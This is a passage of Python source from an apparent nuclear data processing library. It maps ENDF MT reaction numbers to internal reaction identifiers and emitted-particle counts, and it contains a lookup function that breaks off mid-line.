MTContinuum, C, label, ns = 0, H1s = 0, H2s = 0, H3s = 0, He3s = 0, He4s = 0, gammas = 0 ) :\n\n    levelSuffixes = [ \"\", \"st\", \"nd\", \"rd\" ]\n    list[MTGround] = ENDF_MTtoC_ProductList( C, \"(z,%s[0]) -- to ground state\" % label, 0, ns, H1s, H2s, H3s, He3s, He4s, gammas, 0 )\n    for idx in range( MTGround + 1, MTContinuum ) :\n        level = idx - MTGround\n        try :\n            levelSuffix = levelSuffixes[level]\n        except :\n            levelSuffix = \"th\"\n        list[idx] = ENDF_MTtoC_ProductList( C, \"(z,%s[%d]) -- to %d%s excited state\" % ( label, level, level, levelSuffix ),\n                0, ns, H1s, H2s, H3s, He3s, He4s, gammas, level )\n    list[MTContinuum] = ENDF_MTtoC_ProductList( C, \"(z,%s[c]) -- excitation to continuum\" % label, 0, ns, H1s, H2s, H3s, He3s, He4s, gammas, 'c' )\n\nendfMTtoC_ProductLists = {}\nendfMTtoC_ProductLists[1]   = ENDF_MTtoC_ProductList(  1, \"(n,total)\" )\nendfMTtoC_ProductLists[2]   = ENDF_MTtoC_ProductList( 10, \"(z,elastic)\" )\nendfMTtoC_ProductLists[3]   = ENDF_MTtoC_ProductList( 55, \"(z,non-elastic)\" )\nendfMTtoC_ProductLists[4]   = ENDF_MTtoC_ProductList( 11, \"(z,n)\", 0, 1, 0, 0, 0, 0, 0, -1 )\nendfMTtoC_ProductLists[5]   = ENDF_MTtoC_ProductList(  5, \"(z,anything)\" )\nendfMTtoC_ProductLists[10]  = ENDF_MTtoC_ProductList( -1, \"(z,continuum)\" )\nendfMTtoC_ProductLists[11]  = ENDF_MTtoC_ProductList( 32, \"(n,2nd)\", 0, 2, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[16]  = ENDF_MTtoC_ProductList( 12, \"(z,2n)\", 0, 2, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[17]  = ENDF_MTtoC_ProductList( 13, \"(z,3n)\", 0, 3, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[18]  = ENDF_MTtoC_ProductList( 15, \"(z,f)\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[19]  = ENDF_MTtoC_ProductList( -1, \"(n,f) -- 1st chance fission.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[20]  = ENDF_MTtoC_ProductList( -1, \"(n,nf) -- 2nd chance fission.\", -1, 1, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[21]  = ENDF_MTtoC_ProductList( -1, \"(n,2nf) -- 3rd chance fission.\", -1, 2, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[22]  = ENDF_MTtoC_ProductList( 26, \"(z,na)\", 0, 1, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[23]  = ENDF_MTtoC_ProductList( 36, \"(z,n3a)\", 0, 1, 0, 0, 0, 0, 3, 0 )\nendfMTtoC_ProductLists[24]  = ENDF_MTtoC_ProductList( 33, \"(z,2na)\", 0, 2, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[25]  = ENDF_MTtoC_ProductList( 16, \"(z,3na)\", 0, 3, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[27]  = ENDF_MTtoC_ProductList( -1, \"(n,abs)\" )\nendfMTtoC_ProductLists[28]  = ENDF_MTtoC_ProductList( 20, \"(z,np)\", 0, 1, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[29]  = ENDF_MTtoC_ProductList( 27, \"(z,n2a)\", 0, 1, 0, 0, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[30]  = ENDF_MTtoC_ProductList( -1, \"(z,2n2a)\", 0, 2, 0, 0, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[32]  = ENDF_MTtoC_ProductList( 22, \"(z,nd)\", 0, 1, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[33]  = ENDF_MTtoC_ProductList( 24, \"(z,nt)\", 0, 1, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[34]  = ENDF_MTtoC_ProductList( 25, \"(z,nH)\", 0, 1, 0, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[35]  = ENDF_MTtoC_ProductList( -1, \"(z,nd2a)\", 0, 1, 0, 1, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[36]  = ENDF_MTtoC_ProductList( -1, \"(z,nt2a)\", 0, 1, 0, 0, 1, 0, 2, 0 )\nendfMTtoC_ProductLists[37]  = ENDF_MTtoC_ProductList( 14, \"(z,4n)\", 0, 4, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[38]  = ENDF_MTtoC_ProductList( -1, \"(n,3nf) -- 4th chance fission.\", -1, 3, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[41]  = ENDF_MTtoC_ProductList( 29, \"(z,2np)\", 0, 2, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[42]  = ENDF_MTtoC_ProductList( 16, \"(z,3np)\", 0, 3, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[44]  = ENDF_MTtoC_ProductList( 17, \"(n,n2p)\", 0, 1, 2, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[45]  = ENDF_MTtoC_ProductList( 34, \"(n,npa)\", 0, 1, 1, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 50, 91, 11, IDsPoPsModule.neutron, ns = 1 )\nendfMTtoC_ProductLists[101] = ENDF_MTtoC_ProductList( -1, \"(n,disappearance)\" )\nendfMTtoC_ProductLists[102] = ENDF_MTtoC_ProductList( 46, \"(z,g)\", 0, 0, 0, 0, 0, 0, 0, 1 )\nendfMTtoC_ProductLists[103] = ENDF_MTtoC_ProductList( 40, \"(z,p)\", 0, 0, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[104] = ENDF_MTtoC_ProductList( 41, \"(z,d)\", 0, 0, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[105] = ENDF_MTtoC_ProductList( 42, \"(z,t)\", 0, 0, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[106] = ENDF_MTtoC_ProductList( 44, \"(z,H)\", 0, 0, 0, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[107] = ENDF_MTtoC_ProductList( 45, \"(z,a)\", 0, 0, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[108] = ENDF_MTtoC_ProductList( 37, \"(z,2a)\", 0, 0, 0, 0, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[109] = ENDF_MTtoC_ProductList( -1, \"(z,3a)\", 0, 0, 0, 0, 0, 0, 3, 0 )\nendfMTtoC_ProductLists[111] = ENDF_MTtoC_ProductList( 18, \"(z,2p)\", 0, 0, 2, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[112] = ENDF_MTtoC_ProductList( 48, \"(z,pa)\", 0, 0, 1, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[113] = ENDF_MTtoC_ProductList( 42, \"(z,t2a)\", 0, 0, 0, 0, 1, 0, 2, 0 )\nendfMTtoC_ProductLists[114] = ENDF_MTtoC_ProductList( -1, \"(z,d2a)\", 0, 0, 0, 1, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[115] = ENDF_MTtoC_ProductList( 19, \"(z,pd)\", 0, 0, 1, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[116] = ENDF_MTtoC_ProductList( 39, \"(z,pt)\", 0, 0, 1, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[117] = ENDF_MTtoC_ProductList( 47, \"(z,da)\", 0, 0, 0, 1, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[151] = ENDF_MTtoC_ProductList( -1, \"(n,resonance)\" )\n# cmattoon Septmeber 2011, additional MT #s defined by CSEWG in 2010:\nendfMTtoC_ProductLists[152] = ENDF_MTtoC_ProductList( -1, \"(z,5n)\", 0, 5, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[153] = ENDF_MTtoC_ProductList( -1, \"(z,6n)\", 0, 6, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[154] = ENDF_MTtoC_ProductList( -1, \"(z,2nt)\", 0, 2, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[155] = ENDF_MTtoC_ProductList( 43, \"(z,ta)\", 0, 0, 0, 0, 1, 0, 1, 0 )\nendfMTtoC_ProductLists[156] = ENDF_MTtoC_ProductList( -1, \"(z,4np)\", 0, 4, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[157] = ENDF_MTtoC_ProductList( -1, \"(z,3nd)\", 0, 3, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[158] = ENDF_MTtoC_ProductList( 23, \"(z,nda)\", 0, 1, 0, 1, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[159] = ENDF_MTtoC_ProductList( 31, \"(z,2npa)\", 0, 2, 1, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[160] = ENDF_MTtoC_ProductList( -1, \"(z,7n)\", 0, 7, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[161] = ENDF_MTtoC_ProductList( -1, \"(z,8n)\", 0, 8, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[162] = ENDF_MTtoC_ProductList( -1, \"(z,5np)\", 0, 5, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[163] = ENDF_MTtoC_ProductList( -1, \"(z,6np)\", 0, 6, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[164] = ENDF_MTtoC_ProductList( -1, \"(z,7np)\", 0, 7, 1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[165] = ENDF_MTtoC_ProductList( -1, \"(z,4na)\", 0, 4, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[166] = ENDF_MTtoC_ProductList( -1, \"(z,5na)\", 0, 5, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[167] = ENDF_MTtoC_ProductList( -1, \"(z,6na)\", 0, 6, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[168] = ENDF_MTtoC_ProductList( -1, \"(z,7na)\", 0, 7, 0, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[169] = ENDF_MTtoC_ProductList( -1, \"(z,4nd)\", 0, 4, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[170] = ENDF_MTtoC_ProductList( -1, \"(z,5nd)\", 0, 5, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[171] = ENDF_MTtoC_ProductList( -1, \"(z,6nd)\", 0, 6, 0, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[172] = ENDF_MTtoC_ProductList( -1, \"(z,3nt)\", 0, 3, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[173] = ENDF_MTtoC_ProductList( -1, \"(z,4nt)\", 0, 4, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[174] = ENDF_MTtoC_ProductList( -1, \"(z,5nt)\", 0, 5, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[175] = ENDF_MTtoC_ProductList( -1, \"(z,6nt)\", 0, 6, 0, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[176] = ENDF_MTtoC_ProductList( -1, \"(z,2nH)\", 0, 2, 0, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[177] = ENDF_MTtoC_ProductList( -1, \"(z,3nH)\", 0, 3, 0, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[178] = ENDF_MTtoC_ProductList( -1, \"(z,4nH)\", 0, 4, 0, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[179] = ENDF_MTtoC_ProductList( -1, \"(z,3n2p)\", 0, 3, 2, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[180] = ENDF_MTtoC_ProductList( -1, \"(z,3n2a)\", 0, 3, 0, 0, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[181] = ENDF_MTtoC_ProductList( -1, \"(z,3npa)\", 0, 3, 1, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[182] = ENDF_MTtoC_ProductList( -1, \"(z,dt)\", 0, 0, 0, 1, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[183] = ENDF_MTtoC_ProductList( -1, \"(z,npd)\", 0, 1, 1, 1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[184] = ENDF_MTtoC_ProductList( -1, \"(z,npt)\", 0, 1, 1, 0, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[185] = ENDF_MTtoC_ProductList( -1, \"(z,ndt)\", 0, 1, 0, 1, 1, 0, 0, 0 )\nendfMTtoC_ProductLists[186] = ENDF_MTtoC_ProductList( -1, \"(z,npH)\", 0, 1, 1, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[187] = ENDF_MTtoC_ProductList( -1, \"(z,ndH)\", 0, 1, 0, 1, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[188] = ENDF_MTtoC_ProductList( -1, \"(z,ntH)\", 0, 1, 0, 0, 1, 1, 0, 0 )\nendfMTtoC_ProductLists[189] = ENDF_MTtoC_ProductList( 28, \"(z,nta)\", 0, 1, 0, 0, 1, 0, 1, 0 )\nendfMTtoC_ProductLists[190] = ENDF_MTtoC_ProductList( -1, \"(z,2n2p)\", 0, 2, 2, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[191] = ENDF_MTtoC_ProductList( -1, \"(z,pH)\", 0, 0, 1, 0, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[192] = ENDF_MTtoC_ProductList( -1, \"(z,dH)\", 0, 0, 0, 1, 0, 1, 0, 0 )\nendfMTtoC_ProductLists[193] = ENDF_MTtoC_ProductList( 38, \"(z,Ha)\", 0, 0, 0, 0, 0, 1, 1, 0 )\nendfMTtoC_ProductLists[194] = ENDF_MTtoC_ProductList( -1, \"(z,4n2p)\", 0, 4, 2, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[195] = ENDF_MTtoC_ProductList( -1, \"(z,4n2a)\", 0, 4, 0, 0, 0, 0, 2, 0 )\nendfMTtoC_ProductLists[196] = ENDF_MTtoC_ProductList( -1, \"(z,4npa)\", 0, 4, 1, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[197] = ENDF_MTtoC_ProductList( -1, \"(z,3p)\", 0, 0, 3, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[198] = ENDF_MTtoC_ProductList( -1, \"(z,n3p)\", 0, 1, 3, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[199] = ENDF_MTtoC_ProductList( -1, \"(z,3n2pa)\", 0, 3, 2, 0, 0, 0, 1, 0 )\nendfMTtoC_ProductLists[200] = ENDF_MTtoC_ProductList( -1, \"(z,5n2p)\", 0, 5, 2, 0, 0, 0, 0, 0 )\n# end of new MT #s\nendfMTtoC_ProductLists[201] = ENDF_MTtoC_ProductList( -1, \"(z,Xn)\", 0, -1, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[202] = ENDF_MTtoC_ProductList( -1, \"(z,Xg)\", 0, 0, 0, 0, 0, 0, 0, -1 )\nendfMTtoC_ProductLists[203] = ENDF_MTtoC_ProductList( 50, \"(z,Xp)\", 0, 0, -1, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[204] = ENDF_MTtoC_ProductList( 51, \"(z,Xd)\", 0, 0, 0, -1, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[205] = ENDF_MTtoC_ProductList( 52, \"(z,Xt)\", 0, 0, 0, 0, -1, 0, 0, 0 )\nendfMTtoC_ProductLists[206] = ENDF_MTtoC_ProductList( 53, \"(z,XH)\", 0, 0, 0, 0, 0, -1, 0, 0 )\nendfMTtoC_ProductLists[207] = ENDF_MTtoC_ProductList( 54, \"(z,Xa)\", 0, 0, 0, 0, 0, 0, -1, 0 )\nendfMTtoC_ProductLists[208] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[209] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[210] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[211] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[212] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[213] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[214] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[215] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[216] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[217] = ENDF_MTtoC_ProductList( -1, \"Various meson and antiparticle production $sigma$'s\" )\nendfMTtoC_ProductLists[251] = ENDF_MTtoC_ProductList( -1, \"Various elastic neutrons scattering parameters.\" )\nendfMTtoC_ProductLists[252] = ENDF_MTtoC_ProductList( -1, \"Various elastic neutrons scattering parameters.\" )\nendfMTtoC_ProductLists[253] = ENDF_MTtoC_ProductList( -1, \"Various elastic neutrons scattering parameters.\" )\nendfMTtoC_ProductLists[301] = ENDF_MTtoC_ProductList( -1, \"Energy release for total and partial $sigma$'s.\" )\nendfMTtoC_ProductLists[451] = ENDF_MTtoC_ProductList( -1, \"Heading or title information, MF=1 only.\" )\nendfMTtoC_ProductLists[452] = ENDF_MTtoC_ProductList( 15, \"(z,f) $bar{nu}$ total, i.e. prompt plus delayed, fission.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[454] = ENDF_MTtoC_ProductList( 15, \"(z,f) Independent fission product yields.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[455] = ENDF_MTtoC_ProductList( 15, \"(z,f) $bar{nu}$ for delayed fission.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[456] = ENDF_MTtoC_ProductList( 15, \"(z,f) $bar{nu}$ for prompt fission.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[457] = ENDF_MTtoC_ProductList( -1, \"(z,f) Radioactive decay data.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[458] = ENDF_MTtoC_ProductList( 15, \"(z,f) Energy release in fission for incident $n$'s.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[459] = ENDF_MTtoC_ProductList( 15, \"(z,f) Cumulative fission product yields.\", -1, 0, 0, 0, 0, 0, 0, 0 )\nendfMTtoC_ProductLists[500] = ENDF_MTtoC_ProductList( -1, \"Total charged particle stopping power.\" )\nendfMTtoC_ProductLists[501] = ENDF_MTtoC_ProductList( 70, \"Total photon interaction $sigma$.\" )\nendfMTtoC_ProductLists[502] = ENDF_MTtoC_ProductList( 71, \"Photon coherent scattering.\" )\nendfMTtoC_ProductLists[504] = ENDF_MTtoC_ProductList( 72, \"Photon incoherent scattering.\" )\nendfMTtoC_ProductLists[505] = ENDF_MTtoC_ProductList( -1, \"Imaginary scattering factor.\" )\nendfMTtoC_ProductLists[506] = ENDF_MTtoC_ProductList( -1, \"Real scattering factor.\" )\nendfMTtoC_ProductLists[515] = ENDF_MTtoC_ProductList( -1, \"Pair production, electron field.\" )\nendfMTtoC_ProductLists[516] = ENDF_MTtoC_ProductList( 74, \"Pair production.\" )\nendfMTtoC_ProductLists[517] = ENDF_MTtoC_ProductList( -1, \"Pair production, nuclear field.\" )\nendfMTtoC_ProductLists[522] = ENDF_MTtoC_ProductList( 73, \"Photoelectric absorption.\" )\nendfMTtoC_ProductLists[534] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[535] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[536] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[537] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[538] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[539] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[540] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[541] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[542] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[543] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[544] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[545] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[546] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[547] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[548] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[549] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[550] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[551] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[552] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[553] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[554] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[555] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[556] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[557] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[558] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[559] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[560] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[561] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[562] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[563] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[564] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[565] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[566] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[567] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[568] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[569] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[570] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductLists[571] = ENDF_MTtoC_ProductList( -1, \"Various subshell photoelectric $sigma$'s.\" )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 600, 649, 40, IDsPoPsModule.proton, H1s = 1 )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 650, 699, 41, \"d\", H2s = 1 )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 700, 749, 42, \"t\", H3s = 1 )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 750, 799, 44, \"He3\", He3s = 1 )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 800, 849, 45, \"a\", He4s = 1 )\nendfMTtoC_ProductLists[851] = ENDF_MTtoC_ProductList( -1, \"Lumped reaction covariances.\" )\nendfMTtoC_ProductList_excitedStateInitializer( endfMTtoC_ProductLists, 875, 891, 12, \"2n\", ns = 2 )\nendfMTtoC_ProductList_excitedStateInitializer(endfMTtoC_ProductLists, 900, 999, 46, \"g\")\n\n# also need dictionary of products for LR 'breakup' flags (product list excludes the initial 2-body product):\nendfLRtoC_ProductLists = {\n    22: ENDF_MTtoC_ProductList(-1, \"(z,r+a)\", 0, 0, 0, 0, 0, 0, 1, 0),\n    23: ENDF_MTtoC_ProductList(-1, \"(z,r+3a)\", 0, 0, 0, 0, 0, 0, 3, 0),\n    24: ENDF_MTtoC_ProductList(-1, \"(z,r+na)\", 0, 1, 0, 0, 0, 0, 1, 0),\n    25: ENDF_MTtoC_ProductList(-1, \"(z,r+2na)\", 0, 2, 0, 0, 0, 0, 1, 0),\n    28: ENDF_MTtoC_ProductList(-1, \"(z,r+p)\", 0, 0, 1, 0, 0, 0, 0, 0),\n    29: ENDF_MTtoC_ProductList(-1, \"(z,r+2a)\", 0, 0, 0, 0, 0, 0, 2, 0),\n    30: ENDF_MTtoC_ProductList(-1, \"(z,r+n2a)\", 0, 1, 0, 0, 0, 0, 2, 0),\n    32: ENDF_MTtoC_ProductList(-1, \"(z,r+d)\", 0, 0, 0, 1, 0, 0, 0, 0),\n    33: ENDF_MTtoC_ProductList(-1, \"(z,r+t)\", 0, 0, 0, 0, 1, 0, 0, 0),\n    34: ENDF_MTtoC_ProductList(-1, \"(z,r+H)\", 0, 0, 0, 0, 0, 1, 0, 0),\n    35: ENDF_MTtoC_ProductList(-1, \"(z,r+d2a)\", 0, 0, 0, 1, 0, 0, 2, 0),\n    36: ENDF_MTtoC_ProductList(-1, \"(z,r+t2a)\", 0, 0, 0, 0, 1, 0, 2, 0)\n}\n\n\ndef getCSFromMT( MT ) :\n\n    if( MT ==   1 ) : return(   1, 0 )     # (z,total)\n    if( MT ==   2 ) : return(  10, 0 )     # (z,elas)\n    if( MT in [ 3, 4, 5, 10, 25, 27, 30, 35, 36, 101, 109, 113, 114,\n        152, 153, 154, 156, 157, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171,\n        172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188,\n        190, 191, 192, 194, 195, 196, 197, 198, 199, 200] ) : return(   -MT, 0 )\n    if( MT ==  11 ) : return(  32, 0 )\n    if( MT ==  16 ) : return(  12, 0 )\n    if( MT ==  17 ) : return(  13, 0 )\n    if( MT ==  18 ) : return(  15, 0 )\n    if( MT ==  19 ) : return(  15, 0 )\n    if( MT ==  20 ) : return(  15, 0 )\n    if( MT ==  21 ) : return(  15, 0 )\n    if( MT ==  22 ) : return(  26, 0 )\n    if( MT ==  23 ) : return(  36, 0 )\n    if( MT ==  24 ) : return(  33, 0 )\n    if( MT ==  28 ) : return(  20, 0 )\n    if( MT ==  29 ) : return(  27, 0 )\n    if( MT ==  32 ) : return(  22, 0 )\n    if( MT ==  33 ) : return(  24, 0 )\n    if( MT ==  34 ) : return(  25, 0 )\n    if( MT ==  37 ) : return(  14, 0 )\n    if( MT ==  38 ) : return(  15, 0 )\n    if( MT ==  41 ) : return(  29, 0 )\n    if( MT ==  42 ) : return(  16, 0 )\n    if( MT ==  44 ) : return(  17, 0 )\n    if( MT ==  45 ) : return(  34, 0 )\n    if( 50 <= MT < 91 ) : return( 11, 1 ) \n    if( MT ==  91 ) : return(  11, 0 )\n    if( MT == 102 ) : return(  46, 0 )\n    if( MT == 103 ) : return(  40, 0 )\n    if( MT == 104 ) : return(  41, 0 )\n    if( MT == 105 ) : return(  42, 0 )\n    if( MT == 106 ) : return(  44, 0 )\n    if( MT == 107 ) : return(  45, 0 )\n    if( MT == 108 ) : return(  37, 0 )\n    if( MT == 111 ) : return(  18, 0 )\n    if( MT == 112 ) : return(  48, 0 )\n    if( MT == 115 ) : return(  19, 0 )\n    if( MT == 116 ) : return(  39, 0 )\n    if( MT == 117 ) : return(  47, 0 )\n    if( MT == 155 ) : return(  43, 0 )\n    if( MT == 158 ) : return(  23, 0 )\n    if( MT == 159 ) : return(  31, 0 